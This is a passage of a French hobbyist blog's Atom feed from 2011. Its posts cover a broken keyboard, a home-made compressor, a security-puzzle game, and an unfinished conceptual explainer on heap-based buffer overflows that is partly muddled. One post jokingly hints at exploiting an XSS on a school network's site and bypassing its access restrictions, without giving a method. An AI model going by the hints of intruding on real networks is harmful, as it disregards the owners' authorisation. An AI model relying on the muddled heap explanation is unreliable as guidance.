width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-2813839680378470394</id><published>2011-03-25T09:23:00.000-07:00</published><updated>2011-03-25T10:01:02.834-07:00</updated><title type='text'>Keyboard Back | Bad articles too !</title><content type='html'>Je profite de mon clavier pour écrire un nouveau billet sans intérêt sur ma vie :) .&lt;br /&gt;En effet,&lt;br /&gt;le saviez vous ?&lt;br /&gt;-Renverser de la sauce sur son ordinateur peut sérieusement altérer son fonctionnement.&lt;br /&gt;&lt;br /&gt;Oui vous le saviez probablement, mais je reste certain qu'il faut savoir souligner certaines choses dans la vie pour éviter que celles-ci ne se produisent encore et encore.&lt;br /&gt;&amp;nbsp;Alors voici les étapes que j'ai suivis pour résoudre mon problème.&lt;br /&gt;(Il ne faut pas faire comme moi)&lt;br /&gt;&lt;br /&gt;-Vous avez pas envie de payer une presta chez le réparateur ? Faites le vous même :)&lt;br /&gt;-Vous ne savez pas démonter le clavier d'un pc portable Quosmio G50 ? Allez sur google :)&lt;br /&gt;-Vous avez un peu peur d'enlever la nappe branchée sur le circuit imprimé ? Dites-vous que de toute façon le clavier est foutu, ça peut pas être pire.&lt;br /&gt;-Vous arrivez enfin à débrancher le clavier et la vous vous rendez compte que ça va être hard de le remettre en état ? Pas grave, ça peut pas être pire, on le met dans l'eau, on essuie comme un bourrin parce-qu'on est énervé.&lt;br /&gt;-Vous avez enfin nettoyé votre clavier ? Rebranchez-le (séché) et regardez si ça marche :D :D&lt;br /&gt;-Ça ne marche pas ? Des touches sont pétés à force de nettoyer ? Achetez un nouveau clavier.&lt;br /&gt;&lt;br /&gt;Le saviez vous ? Renverser de la sauce sur son pc, coute des heures de son temps et 50 euros.&lt;br /&gt;&lt;br /&gt;Merci.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-2813839680378470394?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/2813839680378470394/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/03/keyboard-back-bad-articles-too.html#comment-form' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/2813839680378470394'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/2813839680378470394'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/03/keyboard-back-bad-articles-too.html' title='Keyboard Back | Bad articles too !'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-6132130213679125956</id><published>2011-03-17T11:12:00.000-07:00</published><updated>2011-03-17T11:45:05.871-07:00</updated><title type='text'>Luc's Compressor : Huffman is F***ing better Than Run-Lenght-Encoding</title><content type='html'>Bon, le Kompressorius aka Luc's Compressor fonctionne maintenant pas trop mal :)&lt;br /&gt;fini la compression binaire. En effet depuis le temps je me suis enfin délesté de la méthode "Run-Lenght-Encoding"...L'algorithme est extrêmement simple puisqu'il s'agit d'une substitution sur les 1 et les 0. Mais comme je l'ai expliqué dernièrement ça coince si il y a une répétition type 1010101110101 (ou un machin dans le genre) bref...&lt;br /&gt;&lt;br /&gt;Le truc pour le moment serait d'avoir un taux de compression supérieur aux compresseurs actuels, donc il me faut une petite idée. Bien sûr je n'ai pas totalement abandonné Run-Lenght, je l'ai amélioré à l'aide de statistiques pour contourner le problème des enchaînements de suites et l'entropie que ça peut attirer au niveau de l'augmentation de la taille suivant le codage, après avoir rajouté le codage de Huffman à ma solution j'obtiens un taux de compression presque égal à WINRAR et les autres n00bs ^^.&lt;br /&gt;Mais il ne faut pas rêver, obtenir un score plus élevé sur des données déjà ultra-optimisées ça relève vraiment du miracle. 10 fois n'est pas coutume, je me remet les mains dans le cambouis !&lt;br /&gt;&lt;br /&gt;Juste 10% de plus qu'un compresseur classique et je suis riche ! Allé hop !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-6132130213679125956?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/6132130213679125956/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/03/lucs-compressor-huffman-is-fing-better.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/6132130213679125956'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/6132130213679125956'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/03/lucs-compressor-huffman-is-fing-better.html' title='Luc&apos;s Compressor : Huffman is F***ing better Than Run-Lenght-Encoding'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-2807546268215627316</id><published>2011-03-12T15:03:00.000-08:00</published><updated>2011-03-12T15:06:00.607-08:00</updated><title type='text'>Legeeeeenn W8 F0R 1T.... DARYYYYY</title><content type='html'>Oui, il s'en est fallu de peu pour que le lancement de mon décompresseur ne soit en fait qu'un espèce de gros simili-virus qui défonce tout sur son passage...&lt;br /&gt;Les algorithmes marchent, la décompression est censée fonctionner...&lt;br /&gt;&lt;br /&gt;Je clique sur "Extraire en .Luc" et là je vois que le fichier temporaire reste anormalement longtemps, je m'aperçois un peu tard que le fichier avait déjà pris 30 gigas et ça c'est : PAS COOL&lt;br /&gt;&lt;br /&gt;Donc je viens de créer un machin qui attire l'entropie de l'information sur mon PC. qui finira sans doute par se transformer en super nova puis s'effondrer sur lui même avant de lâcher un dernier râle....&lt;br /&gt;Faites attention, je dit volontairement n'importe quoi pour attirer votre attention sur le fait que je viens de travailler 3h00 pour RIEN !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-2807546268215627316?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/2807546268215627316/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/03/legeeeee-w8-f0r-1t-daryyyyy.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/2807546268215627316'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/2807546268215627316'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/03/legeeeee-w8-f0r-1t-daryyyyy.html' title='Legeeeeenn W8 F0R 1T.... DARYYYYY'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-2845256410494137755</id><published>2011-03-12T06:03:00.000-08:00</published><updated>2011-03-12T06:03:08.174-08:00</updated><title type='text'>Luc's Compressor Rennaissance F-A-I-L</title><content type='html'>Oui, je ne voulais pas lâcher prise ! Je voulais devenir milliardaire avec mon compresseur de fichier de la mort que même google, winrar et les autres débutant ne pouvaient pas créer !&lt;br /&gt;Avec une petite dose de mon génie (really ?) je me suis relancé dans un autre concept tortueux pour faire fortune.&lt;br /&gt;Le Luc's compressor utilise maintenant la méthode du Codage de &lt;a href="http://fr.wikipedia.org/wiki/Codage_de_Huffman"&gt;Huffman&lt;/a&gt; (un mec bien).&lt;br /&gt;Il comprends aussi d'autre fonctions pour compresser au maximum les données comme Run-Lenght-Encoding (mais ça vous connaissez déjà si vous lisez mon blog de temps en temps; et si non, tant pis)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Mais vous savez quoi ? Ben finalement a vouloir chercher des choses pour faire du fric, on fini par se casser les dents sur des choses qui sont déjà faites depuis plus de 15 ans...Alors, qu'est-ce que je viens de créer ? Un WinZip mais en moins bien. Applause !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-2845256410494137755?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/2845256410494137755/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/03/lucs-compressor-rennaissance-f-i-l.html#comment-form' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/2845256410494137755'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/2845256410494137755'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/03/lucs-compressor-rennaissance-f-i-l.html' title='Luc&apos;s Compressor Rennaissance F-A-I-L'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-1314121182815240875</id><published>2011-03-08T11:15:00.000-08:00</published><updated>2011-03-08T12:01:36.095-08:00</updated><title type='text'>Ma première auto-censure :')</title><content type='html'>Ah ! Les joies de la restriction !&lt;br /&gt;Je m'apprêtais à faire une petite connerie ! :D&lt;br /&gt;Critiquer le CESI ? Moi ? Jamais !&lt;br /&gt;Comment ? Une critique sur le réseau le plus "sécurisé" de tout les temps ? Oh non monsieur vous devez vous méprendre !&lt;br /&gt;Moi, mettre un lien sur mon blog vers le site du CESI en exploitant une petite XSS pour afficher "lol" ? Surtout pas !&lt;br /&gt;Moi, montrant comment bypasser la limitation SSH, FTP et Youtube du réseau ? Que-né-ni monsieur, que-né-ni !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-1314121182815240875?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/1314121182815240875/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/03/reseau-cesi-securise.html#comment-form' title='1 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/1314121182815240875'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/1314121182815240875'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/03/reseau-cesi-securise.html' title='Ma première auto-censure :&apos;)'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-939856803226286577</id><published>2011-03-07T08:03:00.000-08:00</published><updated>2011-03-07T08:04:59.087-08:00</updated><title type='text'>Site promo Evolved</title><content type='html'>Ça fait un moment maintenant que je code la première partie de mon super Hit (Bugland),&lt;br /&gt;du coup j'avais complétement abandonné mon site promotionnel....&lt;br /&gt;&lt;br /&gt;En plus de rajouter des fonctionnalités je vais aussi mettre une petite démo jouable sur le navigateur en HTML5.&lt;br /&gt;Les failles à exploiter seront orientées WEB. Mince...Ça risque de rallonger le développement !&lt;br /&gt;Surtout que je vais reprendre les classes du jeu (exe) pour en faire quelque chose de plus...Jouable.&lt;br /&gt;Honnêtement je ne sais pas combien de temps ça va me prendre.&lt;br /&gt;&lt;br /&gt;Une chose est sûre, il est vraiment à l'ordre du jour de sortir une première partie histoire de voir si ça plais&lt;br /&gt;(traduction : si je suis tout seul à aimer :p )&lt;br /&gt;Je précise aussi que je n'ai besoin de personne pour le développement, je voudrais vraiment que le jeu soit "made by me" parce-que, des idées farfelues j'en ai à la pelle et en équipe ça risque de ne pas passer ^^&lt;br /&gt;&lt;br /&gt;Dès que le côté "promo" du site est terminé je demanderais surement de l'aide, par contre aux graphistes en herbe s'ils veulent voir leurs jolis petits sprites se balader dans l'espace (et au-delà) !&lt;br /&gt;&lt;br /&gt;En attendant je vous souhaites un très mauvais Lundi et une bonne semaine :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-939856803226286577?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/939856803226286577/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/03/site-promo-evolved.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/939856803226286577'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/939856803226286577'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/03/site-promo-evolved.html' title='Site promo Evolved'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-8289619889946826460</id><published>2011-03-01T12:01:00.000-08:00</published><updated>2011-03-01T12:01:39.406-08:00</updated><title type='text'>Bugland == Fun == Exploit == Security == Pas en C#....</title><content type='html'>Et oui...Mauvaise piste...&lt;br /&gt;Le fait de coder ce bouzin en C# va carrément limiter les joueurs qui voudront jouer avec le feu...&lt;br /&gt;Et ça va me limiter au niveau du code moi aussi :s (j'aurais jamais pensé dire ça un jour) .&lt;br /&gt;Donc, ne vous en faites pas :) , le jeu est entre de bonnes mains je vais juste retirer les "failles" internes qui s'y trouvent, et déplacer les épreuves (toutes) sur des box de challenges.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh4.googleusercontent.com/-vGT-Ilb7RWQ/TW1O6dwJckI/AAAAAAAAAEQ/P30e92xi1z4/s1600/message.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="444" src="https://lh4.googleusercontent.com/-vGT-Ilb7RWQ/TW1O6dwJckI/AAAAAAAAAEQ/P30e92xi1z4/s640/message.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Et oui, il s'en trouve, que même l'expérience utilisateur va être revue à la hausse. Malgré la génération aléatoire des levels, certains bosses qui frisent le mass flood missile dans tout les sens, je trouve que c'est encore trop facile :)&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://lh6.googleusercontent.com/-ITiLisIX2co/TW1QOQOzI7I/AAAAAAAAAEU/EDkv8slhQBA/s1600/looser.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="447" src="https://lh6.googleusercontent.com/-ITiLisIX2co/TW1QOQOzI7I/AAAAAAAAAEU/EDkv8slhQBA/s640/looser.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Maintenant que c'est un peu plus clair dans ma tête, je vais voir si je peux pas me débrouiller pour faire une release par niveaux ! ça pourra me donner le temps de peaufiner tout ça...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-8289619889946826460?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/8289619889946826460/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/03/bugland-fun-exploit-security-pas-en-c.html#comment-form' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/8289619889946826460'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/8289619889946826460'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/03/bugland-fun-exploit-security-pas-en-c.html' title='Bugland == Fun == Exploit == Security == Pas en C#....'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='https://lh4.googleusercontent.com/-vGT-Ilb7RWQ/TW1O6dwJckI/AAAAAAAAAEQ/P30e92xi1z4/s72-c/message.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-7678220846152041471</id><published>2011-02-25T10:02:00.000-08:00</published><updated>2011-04-18T14:14:26.093-07:00</updated><title type='text'>Bugland's Project</title><content type='html'>Je fais une petite pause sur la rédaction de l'article sur les &lt;a href="http://0xtceblab.blogspot.com/2011/02/un-article-venir-sur-les-heap-overflow.html"&gt;Heap-Based Buffer overflow&lt;/a&gt; &lt;br /&gt;pour vous faire une huuuge pub ultra commerciale et super sérieuse sur mon jeu vidéo développed by me&lt;br /&gt;utilisant les ressources des Bitmap Brothers sur Xenon2000...Comment ? Pas sérieux ?&lt;br /&gt;Moi, sérieux en même temps... :)&lt;br /&gt;&lt;br /&gt;Voici quelque temps je me suis demandé ce que ça donnerai d'avoir un jeu vidéo (geek) qui pouvait allier sécurité informatique (super geek) et fun (un peu geek), j'ai donc pris le concept d'un pauvre pilote dans l'espace en l'an 5000 qui se balade en territoire ennemi, tout nu si je puis dire, et qui, comme par hasard a un ordinateur de bord super Evil qui veut sa mort.&lt;br /&gt;Et voila ce que ça donne en image (pour le moment)&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-k9bEzUpie0M/TWfqf_wpLoI/AAAAAAAAAEI/YZTGaoK-31U/s1600/debut.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="223" src="http://3.bp.blogspot.com/-k9bEzUpie0M/TWfqf_wpLoI/AAAAAAAAAEI/YZTGaoK-31U/s320/debut.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;C'est l'intro. Et pour mettre dans l'ambiance, y'a de l'héxa derrière ! Ça c'est geek hein ? ;)&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-kHL-hogkS74/TWfrjf8QoWI/AAAAAAAAAEM/710lEJBxtEs/s1600/level0.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="223" src="http://3.bp.blogspot.com/-kHL-hogkS74/TWfrjf8QoWI/AAAAAAAAAEM/710lEJBxtEs/s320/level0.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;On traverse un champs de gros cailloux, et c'est à ce moment que l'ordinateur se met à déconner.&lt;br /&gt;Vous n'avez pas d'arme, et c'est là que le concept arrive...Tada !&lt;br /&gt;Vous devez vous servir de votre gros cerveau de geek pour forcer les petites protections du jeu (contrôlées), afin de débloquer les armes selon le niveau. Pour passer les Boss il faut résoudre un challenge applicatif un peu plus dur présent sur une Box type intruded.net&lt;br /&gt;Je n'en dévoilerais pas plus pour le moment ah ah ! ah... :(&lt;br /&gt;&lt;br /&gt;Et sans plus attendre, le site promo ! Parce-que pour tout jeu indépendant il en faut un non ? Non ? Ah bon...&lt;br /&gt;&lt;a href="http://www.bugland.tuxfamily.org/"&gt;BUGLAND le SITE !&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-7678220846152041471?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/7678220846152041471/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/02/buglands-project.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/7678220846152041471'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/7678220846152041471'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/02/buglands-project.html' title='Bugland&apos;s Project'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-k9bEzUpie0M/TWfqf_wpLoI/AAAAAAAAAEI/YZTGaoK-31U/s72-c/debut.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-8986800476005396942</id><published>2011-02-02T14:26:00.000-08:00</published><updated>2011-04-11T11:09:19.082-07:00</updated><title type='text'>Les Heap Overflow</title><content type='html'>L'objectif de cet article est de se servir d'un programme simple et faillible pour y introduire le concept du heap-based buffer overflow. N'y comprenant pas grand chose non plus de mon côté j'ai cru bon d'étudier ce sujet avec mon ami google, Phrack, exploit-db et quelques autre sources.&lt;br /&gt;Je ne vais bien entendu pas réinventer la roue qui roule déjà très bien, il faut l'avouer :)&lt;br /&gt;Ce qui est bien c'est qu'il s'agit bien là d'une faille type buffer overflow sauf qu'on ne cible pas nécessairement le pointeur d'exécution EIP comme dans ceux qui sont orientés stack et dont j'ai fait une petite description il y a quelques temps.&lt;br /&gt;Pour le moment je vais rester très théorique étant donné l'avancée de mes recherches, puis plus dans le technique avec enfin un exemple comme il se doit.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;Tout d'abords qu'est-ce qu'un Heap ?&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;C'est en fait un espace de stockage où un processus store des données dynamiquement.&lt;br /&gt;Chaque processus alloue ou retire de la mémoire selon son besoin et pendant son exécution.&lt;br /&gt;C'est tout comme une allocation d'un tableau dynamique en C++ par exemple. &lt;br /&gt;Chaque Heap constitue un bloc dans une pile qui va de 0x00000000 à 0xFFFFFFFF et chaque autre allocations dans le programme sera allouée après le dernier bloc. Si un problème (comme un overflow) sur le premier survient, alors il est grandement possible qu'il déborde sur les autres.&lt;br /&gt;Quand un Heap est créé deux pointeurs sont aussi automatiquement créés et pointent vers le premier espace mémoire libre dispo. Et à l'adresse vers laquelle ils pointent se trouvent 2 pointeurs vers leurs position.&lt;br /&gt;Arf, j'ai perdu le fil ! Un petit dessin s'impose :&lt;br /&gt;&lt;br /&gt;[0x00000000------------------------STACK-------------------------------------0xFFFFFFFF]&lt;br /&gt;HeapAllocate() ---&amp;gt; Pointeurs A et B contenus dans FreeLists[0]&amp;nbsp; --&amp;gt; 0x00000005 &amp;lt;---- Pointeurs C et D qui pointent vers A et B dans FreeLists[0]&lt;br /&gt;[0x00000000[HEAP -----STACK-----]0x00000005-----------STACK---------0xFFFFFFFF]&lt;br /&gt;&lt;br /&gt;Quand une allocation se produit les pointeurs A et B se mettent à pointer vers le prochain bloc qui sera alloué et les deux autres pointeurs C et D vont pointer vers l'adresse de fin du bloc alloué en dernier.&lt;br /&gt;Donc, à chaque allocation ou libération de mémoire ces 4 pointeurs seront changés dynamiquement dans une liste doublement chaînée. &lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;En quoi réside le principe du Heap-based buffer overflow ?&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Prenons le cas du malloc.&lt;br /&gt;Si, lors de l'écriture d'un code il vous prend de vouloir faire un tableau dynamique ou autre, le malloc allouera automatiquement un bloc qu'on appelle un Chunk.&lt;br /&gt;Chunk = Gros morceau en Français (oui je sais c'est pas très parlant)&lt;br /&gt;Ce "gros morceau" est en fait composé de plusieurs parties dont, une petite pile de données où est stocké le buffer.&lt;br /&gt;&lt;br /&gt;En fait, il existe deux types de chunk :&lt;br /&gt;-Le chunk virtuellement alloué &lt;br /&gt;-Le chunk libre.&lt;br /&gt;&lt;br /&gt;Ce sont des structures au final d'après ce que j'ai pu en lire &lt;a href="http://en.wikipedia.org/wiki/Malloc"&gt;ICI&lt;/a&gt;.&lt;br /&gt;Si un chunk est alloué il contient :&lt;br /&gt;[l'adresse du chunk précédemment alloué]+[La taille de ses datas ainsi que 3 bits déjà alloués]&lt;br /&gt;&lt;br /&gt;________&lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; |&lt;br /&gt;|adresse&amp;nbsp; &amp;nbsp; |&lt;br /&gt;|_______ |&lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;|Taille&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; |&lt;br /&gt;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; | &lt;br /&gt;|+ 0 0 0&amp;nbsp;&amp;nbsp; &amp;nbsp; | &amp;lt;== Ces trois Bits [A,M,P] prennent 1 ou 0 selon certaines conditions. Par exemple :&lt;br /&gt;|_______|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; si le tas contient l'adresse d'un bloc précédemment alloué alors P=1&lt;br /&gt;&lt;br /&gt;Si il y a débordement sur cette partie du Chunk alors il est possible de  contrôler les pointeurs contenus dans cette fameuse double liste  chaînée :) .&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;Du coup, possibilité de les faire pointer où on veut, et donc de pouvoir modifier le bon déroulement du programme et finalement se faire monter en privilèges entre autre.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;Quelles sont les conditions qui doivent apparaitre pour pouvoir déborder sur un Heap ?&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Maintenant que mes recherches sont faites sur les éléments du décors qui m'intéressaient et après nombre de remarque pertinente sur le fait qu'un article extrêmement complet sur Phrack existe pour donner l'exemple d'une exploitation, je ne vais pas m'embêter à faire une traduction bête et méchante :D&lt;br /&gt;&lt;a href="http://www.blogger.com/goog_497292220"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br 